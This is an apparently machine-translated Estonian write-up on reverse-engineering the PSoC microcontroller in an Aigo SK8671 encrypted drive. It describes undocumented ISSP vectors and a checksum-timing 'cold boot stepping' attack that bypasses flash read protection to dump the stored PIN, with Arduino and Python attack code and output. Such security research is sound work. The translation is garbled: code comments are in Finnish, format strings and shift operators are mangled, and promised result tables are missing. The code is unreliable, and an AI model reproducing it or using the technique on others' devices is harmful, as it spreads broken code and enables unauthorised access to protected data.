See on teise ja lõplik osa artiklist, mis käsitleb väliste isekodeerivate ketaste häkkimist. Tuletan meelde, et hiljuti tõi kolleeg mulle kõvaketta Patriot (Aigo) SK8671 ja otsustasin selle pöördprojekteerida. Nüüd jagan teiega, mis sellest välja tuli. Enne edasise lugemist tutvuge kindlasti esimese osaga artiklist.

4. Alustame PSoC sisemise mälupanga dump'imisega
5. ISSP-protokoll
– 5.1. Mis on ISSP
– 5.2. Demüstifitseerimise vektorid
– 5.3. Suhtlemine PSoC-iga
– 5.4. Sisemiste registrite identifitseerimine
– 5.5. Kaitsebitid
6. Esimene (ebaõnnestunud) rünnak: ROMX
7. Teine rünnak: külmutatud taaskäivitusega jälgimine
– 7.1. Teostamine
– 7.2. Tulemuste lugemine
– 7.3. Flash-binaari rekonstrueerimine
– 7.4. Leiame PIN-koodi salvestamise aadressi
– 7.5. Dumpime ploki nr 126
– 7.6. PIN-koodi taastamine
8. Mis edasi?
9. Kokkuvõte

4. Alustame PSoC sisemise mälupanga dump'imisega

Nii et kõik viitab sellele (nagu me kindlaks tegime [esimeses osas]()), et PIN-kood on salvestatud PSoC sisemisse mällu. Seetõttu peame lugema neid flash-kihtide. Tööde esiplaan on:

• kontrollida suhtlemist mikrokontrolleriga;
• leida viis, kuidas kontrollida, kas see suhtlemine on välise lugemise eest kaitstud;
• leidma viisi kaitse ümberminekuks.

On kaks kohta, kus tasub otsida toimivat PIN-koodi:

• sisemine flash-mälu;
• SRAM, kus PIN-kood võib olla salvestatud, et võrrelda seda kasutaja sisestatud PIN-koodiga.

Kuna ma jõudsin tulemusele, et sain siiski lugeda PSoC sisemise mälupanga dump'i – ületades selle kaitsesüsteemi, kasutades riistvara rünnakut, külmutatud taaskäivitamise jälgimist – pärast ISSP protokolli dokumenteerimata võimaluste pöördprojekteerimist. See võimaldas mul otse lugeda toimuva PIN-koodi dump'i.

$ .\/psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Lõpp-kood:

• Arduino-kood HSSP jaoks;
• Python ja ISSP deaassembleri draiver.

5. ISSP-protokoll

5.1. Mis on ISSP

Mikrokontrolleriga suhtlemine võib tähendada erinevaid asju: alates "tootjast tootjale" kuni suhtlemiseni järjestikuse protokolli abil (näiteks ICSP Microchip'i PIC-i puhul).

Cypress'il on selle jaoks oma patenteeritud protokoll, mida nimetatakse ISSP (in-system serial programming protocol; sisesüsteemne järjestikuse programmimise protokoll), mis on osaliselt kirjeldatud tehnilises spetsifikatsioonis. Patent US7185162 annab samuti teavet. On olemas ka OpenSource analoog nimega HSSP (me kasutame seda natuke hiljem). ISSP töötab järgmiselt:

• taaskäivita PSoC;
• väljastada maagiline number PSoC järjestiku andmesonga; siseneda välistesse programmeerimisrežiimidesse;
• saada käsklusi, mis koosnevad pikkadest bitijadadest, mida nimetatakse 'vektoriteks'.

ISSP dokumentatsioonis on need vektorid määratud vaid väikese hulga käskluste jaoks:

• Initialize-1
• Initialize-2
• Initialize-3 (3V ja 5V variandid)
• ID-SETUP
• READ-ID-WORD
• SET-BLOCK-NUM: 10011111010dddddddd111, kus dddddddd=plokk #
• BULK ERASE
• PROGRAM-BLOCK
• VERIFY-SETUP
• READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, kus DDDDDDDD = andmed väljas, aaaaaa = aadress (6 bitti)
• WRITE-BYTE: 10010aaaaaadddddddd111, kus dddddddd = andmed sees, aaaaaa = aadress (6 bitti)
• SECURE
• CHECKSUM-SETUP
• READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, kus DDDDDDDDDDDDDDDD = andmed väljas: seadme kontrollsumma
• ERASE BLOCK

Näiteks, vektor Initialize-2 jaoks:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Kõikide vektorite pikkus on sama: 22 bitti. HSSP dokumentatsioonis on mõningaid lisainformatsioon ISSP kohta: "ISSP-vektor on midagi muud kui bitijada, mis kujutab endast käskude kogumit."

5.2. Vektorite dešifreerimine

Selgitame, mis siin toimub. Esialgu eeldasin, et need vektorid esindavad M8C käskude raw-variante, kuid selle hüpoteesi kontrollimisel avastasin, et opkoodid ei klapi.

Siis googeldasin eespool toodud vektorit ja sattusin sellele uurimusele, kus autor, kuigi ei süvene detailidesse, annab mõned kasulikud vihjed: "Iga käsk algab kolme bitiga, mis vastavad ühele neljast mnemoonikast (lugeda RAM-ist, kirjutada RAM-i, lugeda registrist, kirjutada registrisse). Seejärel järgnevad 8-bitine aadress ja seejärel 8 bitti andmeid (lugemised või kirjutamised), ja lõpuks kolm stopp-bitti."

Seejärel suutsin hankida väga kasulikku teavet osast "Supervisory ROM (SROM)" tehnilise juhendi. SROM on kõvakasutatud ROM PSoC-is, mis pakub teenindusfunktsioone (sarnasel põhimõttel nagu Syscall), - kasutajatasemel jooksutatud rakenduste jaoks:

• 00h: SWBootReset
• 01h: ReadBlock
• 02h: WriteBlock
• 03h: EraseBlock
• 06h: TableRead
• 07h: CheckSum
• 08h: Calibrate0
• 09h: Calibrate1

Vektorite nimesid SROM-i funktsioonidega võrreldes saame siduda erinevad operatsioonid, mida see protokoll toetab, – oodatud SROM-parameetritega. Sellega saame dekodeerida esimesed kolm ISSP-vektorit:

• 100 => "wrmem"
• 101 => "rdmem"
• 110 => "wrreg"
• 111 => "rdreg"

Kuid täielikku arusaama sisetöötlusprotsessidest saab vaid otsese suhtlusega PSoC-iga.

5.3. Suhtlemine PSoC-iga

Kuna Dirk Petrautsky on juba portinud Cypress'i HSSP-koodi Arduino peale, kasutasin Arduino Uno, et ühendada ISSP-liidese klaviatuuriplaadiga.

Pange tähele, et oma uuringute käigus muutsin Dirki koodi üsna palju. Minu modifikatsiooni leiate GitHubist: siin ja vastava Python-skripti, et suhelda Arduinoga, minu hoidlas cypress_psoc_tools.

Niisiis, kasutades Arduino, kasutasin alguses „suhtlemiseks” vaid „ametlikke” vektoreid. Proovisin lugeda sisemist ROM-i, kasutades käsku VERIFY. Nagu oodata võis, ei õnnestunud mul seda teha. Tõenäoliselt on see tingitud asjaolust, et flash-mähetes on aktiveeritud lugemisprotectioni bitid.

Seejärel lõin mitu oma lihtsat vektorit mälu/registeerimiste kirjutamiseks ja lugemiseks. Pange tähele, et saame lugeda kogu SROM-i, isegi kui flash-mälus on kaitse!

5.4. Sisetöötlusregisteeride tuvastamine

Vaadates „disassiilitud” vektoreid, avastasin, et seade kasutab dokumenteerimata registreid (0xF8-0xFA), et näidata M8C-opkoodide, mis täidetakse otse, ignoreerides kaitset. See võimaldas mul käivitada erinevaid opkoode, nagu „ADD”, „MOV A, X”, „PUSH” või „JMP”. Nende kaudu (vaadates nende toimet registritele) suutsin määrata, millised dokumenteerimata registreid on tegelikult tavalised registrid (A, X, SP ja PC).

Tulemusena näeb „disassiilitud” kood, mille on genereerinud tööriist HSSP_disas.rb, välja selline (selguse huvides lisasin kommentaarid):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # liputa lippide
[DE C0 1C] wrreg SP (f6), 0x00      # liputa SP
[9F 07 5C] wrmem KEY1, 0x3A     # kohustuslik argument SSC jaoks
[9F 20 7C] wrmem KEY2, 0x03     # sarnane
[DE A0 1C] wrreg PCh (f5), 0x00     # liputa PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... kuni 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-viidatud väljadele
[DF 26 1C] wrreg opc1 (f9), 0x30        # Opcode 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Opcode 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID SSC kutse jaoks
[DE 00 DC] wrreg A (f0), 0x06       # "Syscall" number: TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Opcode SSC jaoks, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Dokumenteerimata operatsioon: täida väline opcode

5.5. Kaitsebitid

Nüüd saan ma juba suhelda PSoC-iga, kuid mul pole endiselt usaldusväärset teavet flash-mäe kaitsebitide kohta. Olin väga üllatunud, et Cypress ei paku seadme kasutajale mingeid vahendeid, et kontrollida, kas kaitse on aktiveeritud. Süvenesin Google'isse, et täielikult mõista, et Cypress'i poolt pakutud HSSP-kood oli uuendatud pärast seda, kui Dirk avaldas oma muudatuse. Ja siin see on! Ilmus uus vektor:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # tundmatud argumendid
[9F E0 1C] wrmem 0xFF, 0x00 # sarnane
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # dokumenteerimata syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Kasutades seda vektorit (vt read_security_data psoc.py-s), saame kõik kaitsebitid SRAM-is 0x80, kus iga kaitstud bloki kohta on kaks bitti.

Tulemus on murettekitav: kõik on kaitstud „väliste lugemiste ja kirjutamiste keelamise” režiimis. Seetõttu ei saa me mitte ainult flash-mäelt midagi lugeda, vaid ka kirjutada ei saa (nt ROM-dumpi sisestamiseks). Ainus viis kaitse eemaldamiseks on kogu kiibi täielik kustutamine. 🙁

6. Esimene (ebaõnnestunud) rünnak: ROMX

Kuid me saame proovida teha järgmist nippi: kuna meil on võimalus täita suvalisi opkoode, miks mitte täita ROMX, mis on mõeldud Flash-mälu lugemiseks? Sellel lähenemisel on üsna head eduvõimalused. Sest funktsioon ReadBlock, mis loeb andmeid SROM-ilt (mida kasutatakse vektoritega), kontrollib, kas seda kutsutakse ISSP-st. Kuid opkood ROMX-l ei pruugi sellist kontrolli olla. Siin on Python-kood (pärast mitme abiklassi lisamist C-st kirjutatud Arduino-koodile):

for i in range(0, 8192):
 write_reg(0xF0, i>>8) # A = 0
 write_reg(0xF3, i&0xFF) # X = 0
 exec_opcodes("x28x30x40") # ROMX, HALT, NOP
 byte = read_reg(0xF0) # ROMX reads ROM[A|X] into A
 print "x" % ord(byte[0]) # print ROM byte

Kahjuks see kood ei tööta. 🙁 Tõsi, see töötab, kuid me saame väljundis oma opkoode (0x28 0x30 0x40)! Ma ei arva, et seadme vastav funktsionaalsus on kaitsemeede lugemise kaitseks. See tundub pigem inseneritehnilise nippina: väliste opkoode täitmisel suunatakse ROM-i buss ajutisse puhver.

7. Teine rünnak: külmutatud taaskäivitusega jälgimine

Kuna ROMX nipp ei õnnestunud, hakkasin mõtlema selle nipi teisele variatsioonile – mis on kirjeldatud artiklis „Shedding too much Light on a Microcontroller’s Firmware Protection”.

7.1. Implementatsioon

ISSP dokumentatsioonis on järgmine vektor CHECKSUM-SETUP jaoks:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Siin toimub põhimõtteliselt SROM-funktsiooni 0x07 kutsumine, nagu on dokumentatsioonis näidatud (kursiiv minu):

See on kontrollsummade kontrollimise funktsioon. See arvutab 16-bitise kontrollsummad kasutaja määratud blokknumbritele – ühes Flash-pangas, alustades nullist. Parameeter BLOCKID kasutatakse üleantava blokkide arvu edastamiseks, mida kasutatakse kontrollsumma arvutamiseks. Väärtus „1” arvutab kontrollsummat ainult nullbloki jaoks; samas kui „0” toob kaasa kõigi 256 Flash-panga bloki üldise kontrollsummat. 16-bitine kontrollsumma tagastatakse KEY1 ja KEY2 kaudu. Parameetris KEY1 salvestatakse vähem kui 8 bitti kontrollsumma ja KEY2 – rohkem kui 8 bitti. Seadmete puhul, millel on mitu flash-panka, kutsutakse kontrollsummat välja igaühe jaoks eraldi. Panga number, millega see töötab, määratakse registriga FLS_PR1 (seades sinna bit, mis vastab sihtflash-pankale).

Pange tähele, et see on kõige lihtsam kontrollsumma: baitide lihtsalt summeerimine järjekorras; ei ole keerulisi CRC-kiusamisi. Lisaks, teades, et M8C tuumas on registrite kogus väga väike, oletasin, et kontrollsumma arvutamisel salvestatakse vaheväärtused samadesse muutujaitesse, mis lõpuks väljundisse lähevad: KEY1 (0xF8) / KEY2 (0xF9).

Nii et teoorias näeb minu rünnak välja selline:

1. Ühendame läbi ISSP.
2. Käivitame kontrollsumma arvutamise, kasutades CHECKSUM-SETUP vektor.
3. Taaskäivitage protsessor antud aja T pärast.
4. Loe RAM-i, et saada praegune kontrollsumma C.
5. Korrake samme 3 ja 4, iga kord natuke suurendades T-d.
6. Taasta andmed flashilt, lahutades eelmise kontrollsumman C praegusest.

Probleem on aga see, et vektor Initialize-1, mille peame saatma pärast taaskäivitamist, üksteisele kirjutab KEY1 ja KEY2:

1100101000000000000000  # Magic, mis viib PSoC-i programmeerimisrežiimi
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # kontrollsumma kirjutatakse siia
[9F 20 7C] wrmem KEY2, 0x03 # ja siia
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-funktsioon 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

See kood kustutab meie väärtusliku kontrollsumma, kutsudes välja Calibrate1 (SROM-funktsioon 9)… Kas võib-olla suudame lihtsalt, saates maagilise numbri (ülevaltoodud koodi algusest), siseneda programmeerimisrežiimi ja seejärel lugeda SRAM-i? Ja jah, see töötab! Arduino kood, mis viib selle rünnaku ellu, on üsna lihtne:

case Cmnd_STK_START_CSUM:
 checksum_delay = ((uint32_t)getch())<<24;
 checksum_delay |= ((uint32_t)getch())<<16;
 checksum_delay |= ((uint32_t)getch())< 10000) {
 ms_delay = checksum_delay/1000;
 checksum_delay = checksum_delay00;
 }
 else {
 ms_delay = 0;
 }
 send_checksum_v();
 if(checksum_delay)
 delayMicroseconds(checksum_delay);
 delay(ms_delay);
 start_pmode();

1. Lugeda checkum_delay.
2. Käivitada kontrollsumma arvutamine (send_checksum_v).
3. Oodata antud ajavahemik; arvestades järgmisi takistusi:
   • ma raiskasin tohutult aega, kuni sain teada, et tegelikult delayMicroseconds funktsioneerib korrektselt ainult viivitustega, mis ei ületa 16383μs;
   • ja siis raiskasin sama palju aega, kuni avastasin, et delayMicroseconds, kui sellele sisendiks anda 0, töötab täiesti valesti!
4. Taaskäivita PSoC programmeerimisrežiimis (lihtsalt saadame maagilise numbri, ilma initsialiseerivate vektorite saatmiseta).

Lõplik kood Pythonis:

for delay in range(0, 150000): # viivitus mikrosekunneissa
 for i in range(0, 10): # lukemisen määrä jokaiselle viiveelle
 try:
 reset_psoc(quiet=True) # uudelleenkäynnistys ja ohjelmointitilaan siirtyminen
 send_vectors() # lähettää alustusvektorit
 ser.write("x85"+struct.pack(">I", delay)) # laske tarkistussumma + käynnistä uudelleen viiveen jälkeen
 res = ser.read(1) # lukee arduino ACK
 except Exception as e:
 print e
 ser.close()
 os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
 ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # avaa sarjaliitäntä
 continue
 print "d X X X" % (delay, # lue RAM-tavut
 read_regb(0xf1),
 read_ramb(0xf8),
 read_ramb(0xf9))

Kahesõnaliselt, mida see kood teeb:

1. Taaskäivitab PSoC (ja saadab sellele maagilise numbri).
2. Saadab täielikud initsialiseerimise vektorid.
3. Kutsutakse esile Arduino funktsioon Cmnd_STK_START_CSUM (0x85), kuhu parameetrina antakse viivitus mikrosekundites.
4. Loe kontrollsummat (0xF8 ja 0xF9) ja dokumenteerimata registrit 0xF1.

See kood täidetakse 10 korda ühe mikrosekundi jooksul. 0xF1 on siin, kuna see oli ainus register, mis muutus kontrollsummat arvutades. Võib-olla on see mingisugune ajutine muutuja, mida kasutab aritmeetika-loogika seade. Pange tähele kohmakat nippi, millega ma Arduino taaskäivitamiseks kasutan picocom'i, kui Arduino enam elu märke ei anna (ma ei tea, miks).

7.2. Loe tulemusi

Python-skripti tulemus näeb välja selline (lihtsustatud loetavuse huvides):

DELAY F1 F8 F9  # F1 – eelmainitud tundmatu registr
                  # F8 madalam bait kontrollsumma
                  # F9 ülemine bait kontrollsumma

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # kontrollsumma taastatakse 0-ks
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1. bait: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2. bait: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # mul pole aimugi, mis siin toimub
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Taas E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Hmmmmm
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # Ah, sain aru! Siin on üleminek ülemisse baidi
00063 01 17 01
[...]
00075 CC 17 01  # Nii et, 0x117-0xE7: 0x30

Kuid meil on probleem: kuna me opereerime tegeliku kontrollsummaga, ei muuda nullbait loetud väärtust. Siiski, kuna kogu arvutamise protseduur (8192 baiti) kestab 0,1478 sekundit (väikeste kõrvalekalletega iga kord), mis on umbes 18,04 µs bait, – saame seda aega kasutada kontrollsummade väärtuse kontrollimiseks sobivatel hetkedel. Esimeste läbimiste jaoks loetakse kõik üsna lihtsalt, kuna arvutusprotseduuri kestus on alati praktiliselt sama. Kuid selle dumpi lõpp on vähem täpne, kuna "väikesed ajakõrvalekalded" igaühe jooksul - summeeruvad ja muutuvad märgatavateks:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Need on 10 dumpi iga mikrosekundi viivituse jaoks. Kogu tööaeg, et saada kõik 8192 baiti mälupulgast, on umbes 48 tundi.

7.3. Mälupulga binaarkoodi rekonstrueerimine

Ma pole veel lõpetanud koodi kirjutamist, mis täielikult rekonstrueerib mälupulga tarkvara arvestades kõiki ajakõrvalekaldeid. Kuid koodi alguse olen juba taastanud. Et veenduda, et olen seda õigesti teinud, demonteerisin selle m8cdis abil:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Tundub väga usutav!

7.4. Otsime PIN-koodi salvestamise aadressi

Nüüd, kui me saame lugeda kontrollsummat õigel ajal, saame hõlpsasti kontrollida, kuidas ja kus see muutub, kui me:

• sisestame vale PIN-koodi;
• muudame PIN-koodi.

Alustuseks, et leida ligikaudne salvestamise aadress, tegin 10 ms sammuga kontrollsummade dumpi pärast ümberlülitamist. Seejärel sisestasin vale PIN-koodi ja tegin sama.

Tulemus ei olnud kõige meeldivam, kuna muutusi oli palju. Lõpuks sain siiski kindlaks teha, et kontrollsumma muutus kuskil 120000 µs ja 140000 µs viivituse vahel. Kuid seal avastatud "PIN-kood" oli absoluutselt vale – see oli tingitud delayMicroseconds protseduuri artefaktist, mis teeb arusaamatuid asju, kui 0 edastatakse.

Seejärel, pärast pea 3-tunnist tööd, mäletasin, et SROM-i süsteemikõne CheckSum võtab sisendina argumendi, mis määrab kontrollsummade plokkide arvu! Seega saame hõlpsasti lokaliseerida PIN-koodi ja vale proovide arvu salvestamise aadressid – täpsusega 64-baidise ploki kaupa.

Minu esialgsed käivitused andsid järgmise tulemuse:

Seejärel vahetasin PIN-koodi "123456" vastu "1234567" ja sain:

Seega näib, et PIN-kood ja vale proovide arvu loend on salvestatud plokis nr 126.

7.5. Teeme ploki nr 126 dumpi

Plokk nr 126 peaks asuma kuskil 125x64x18 = 144000 µs, alates kontrollsummade arvutamise algusest minu täielikus dumpis ning see tundub üsna usutav. Seejärel, pärast mitme vale dumpi käsitsi filtreerimist (ajaliselt „märkimisväärsete kõrvalekallete” tõttu), sain ma lõpuks järgmised baitid (145527 µs viivituses):

On on ilmselge, et PIN-kood on salvestatud unencrypted kujul! Need väärtused ei ole kindlasti ASCII-koodides, kuid nagu selgus, peegeldavad need mõõtmisi, mis on saadud kapasitiivse klaviatuuri poolt.

Lõpuks tegin veel paar testi, et leida, kus asub vale sissetoomise arvesti. Siin on tulemused:

0xFF – tähendab "15 katset", ja see väheneb iga vale katsega.

7.6. PIN-koodi taastamine

Siin on minu kole kood, mis kogub kõik eelneva kokku:

def dump_pin():
 pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
 0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
 last_csum = 0
 pin_bytes = []
 for delay in range(145495, 145719, 16):
 csum = csum_at(delay, 1)
 byte = (csum-last_csum)&0xFF
 print "d x (x) => x" % (delay, csum, last_csum, byte)
 pin_bytes.append(byte)
 last_csum = csum
 print "PIN: ",
 for i in range(0, len(pin_bytes)):
 if pin_bytes[i] in pin_map:
 print pin_map[pin_bytes[i]],
 print

Siin on selle täitmise tulemus:

$ .\/psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Hästi! Töötab!

Pange tähele, et viivituste väärtused, mida ma kasutasin, on tõenäoliselt kehtivad ainult konkreetse PSoC-i jaoks – selle, millega mina tegelesin.

8. Mis edasi?

Nii et teeme kokkuvõtte PSoC-i poolelt, meie Aigo salvesti kontekstis:

• me saame lugeda SRAM-i, isegi kui see on kaitstud lugemise eest;
• me saame läbida lugemise kaitse, tehes "külma taaskäivitamise jälgimisrünnaku" ja otse PIN-koodi lugemise.

Kuid meie rünnakul on mõned puudujäägid – sünkroniseerimise probleemide tõttu. Seda saaks parandada järgmiselt:

• kirjutada utiliit, et õigesti dekodeerida väljunddati, mis on saadud külma taaskäivitamise jälgimisrünnakust;
• kasutada FPGA-lisa, et luua täpsemaid ajaviivitusi (või kasutada Arduino riistvara taimerit);
• proovida veel üks rünnak: sisestada teadlikult vale PIN-kood, taaskäivitada ja RAM-i kopeerida, lootes, et õige PIN-kood jääb RAM-i alles, et seda võrrelda. Kuid Arduino puhul pole see sugugi lihtne, sest Arduino signaali tase on 5 volti, samas kui uuritav plaat töötab 3,3 volti signaalidega.

Üks huvitav asi, mida proovida – mängida pingetasemega, et ringkäik teha lugemise kaitse ümber. Kui selline lähenemine töötaks, võiksime saada täiesti täpseid andmeid mälupulgalt, selle asemel, et usalduda kontrollsummade lugemisse ebatäpsete ajaviivitustega.

Kuna SROM ilmselt loeb kaitse bite süsteemiühenduse kaudu ReadBlock, võiksime teha sama, kirjeldatud mida tegi Dmitri Nedospasov oma blogis – taastus Chris Gerlinski rünnaku kordamine, mille ta kuulutas välja konverentsil «REcon Brüsselis 2017».

Veel üks lõbus asi, mida teha võiks – mikroskeemi korpusest maha lihvida: et võtta SRAM dump, avastada dokumenteerimata süsteemi kõnesid ja haavatavusi.

9. Kokkuvõte

Nii et selle seadme kaitse jätab soovida, kuna selle PIN-koodi salvestamiseks kasutatakse tavalist (mitte «kõvenenud») mikrokontrollerit… Pluss ma pole veel vaadanud (kuni praeguseni), kuidas selle seadmega andmete krüpteerimisega lood on!

Mida saaks Aigole soovitada? Analüüsides paari krüpteeritud HDD-mudelit, tegin 2015. aastal esitlust SyScanil, kus vaatasin mitme välise HDD-diskide turvaprobleeme ja andsin soovitusi, mida saaks parandada. 🙂

Selle uuringu jaoks kulutasin kaks nädalavahetust ja mitu õhtut. Kokku umbes 40 tundi. Alates esimestest hetkest (kui ma ketta lahti lõin) kuni lõpuni (PIN-koodi koopia). Need 40 tundi sisaldavad ka aega, mille pühendasin selle artikli kirjutamiseks. See oli väga põnev teekond.

Allikas: habr.com